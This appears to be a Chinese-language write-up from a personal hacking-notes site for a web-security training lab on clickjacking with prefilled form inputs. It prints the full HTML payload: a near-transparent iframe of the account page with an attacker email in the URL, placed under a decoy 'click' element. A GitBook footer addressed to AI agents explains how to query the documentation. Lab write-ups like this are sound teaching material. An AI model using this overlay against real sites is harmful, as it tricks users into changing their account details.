> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/clickjacking/clickjacking-with-prefilled-form-inputs.md).

# 通过 URL 参数预填表单字段的点击劫持

### 通过 URL 参数预填表单输入数据的点击劫持

利用账户页面上的一个表单来更改用户的电子邮件地址，该表单接受一个 `email` URL 中的参数。攻击方式是在一个 `iframe` （几乎不可见），并诱使受害者点击一个伪造元素“Click me”。当账户电子邮件地址被更改后，实验即完成。

#### 提供的凭据

* 用户： `wiener`
* 密码： `peter`
* 账户管理页面使用 CSRF 令牌，但该令牌在同一页面上处理——如果表单是从内部提交的，它并不能阻止更新 `iframe` 从目标域加载。

<figure><img src="/files/aa7462c21888b6dbcbc8b2b9d6b36f14bd3f556c" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/f8da549e95dde61204d35c801a450954145525d7" alt=""><figcaption></figcaption></figure>

* 可以通过传入 `?email=<值>` 在 `/my-account` 页面的 URL 中。示例： `?email=jordan@test.com`.

<figure><img src="/files/16d3c9541fdd538424965638aa7bcd485879a7ee" alt=""><figcaption></figcaption></figure>

```javascript
<style>
iframe{
width: 500px;
height: 600px;
}
</style>
<iframe src="https://0aea005903313cc281be1bec00ad002d.web-security-academy.net/my-account?email=hacked@jordan.com" </iframe>
```

<figure><img src="/files/5278d58e50cc1857974aebdc349e3a866a681749" alt=""><figcaption></figcaption></figure>

1. 在一个中加载易受攻击的账户页面 `iframe` 通过添加 `email` 参数，填写你想要设置的地址。
2. 使该 `iframe` 几乎不可见（低不透明度或通过定位），以覆盖攻击页面上可见的触发元素。
3. 放置一个假的“Click”按钮/标签，供受害者点击，并使其在空间位置上与 `iframe`.
4. 中的真实“Update Email”按钮相匹配。当受害者点击时，点击实际上会传递给 `iframe` 中的表单按钮，并使用预填充的电子邮件提交表单。

```html
<style>
iframe{
width: 500px;
height: 600px;
opacity: 0.01;
}
div{
position: relative;
top: 455px;
left: 80px;
}
</style>
<div>点击</div>
<iframe src="https://0aea005903313cc281be1bec00ad002d.web-security-academy.net/my-account?email=hacked@jordan.com" </iframe>
```

<figure><img src="/files/d1e810d5a37779c2517da13914dd88a6c74ae651" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/clickjacking/clickjacking-with-prefilled-form-inputs.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.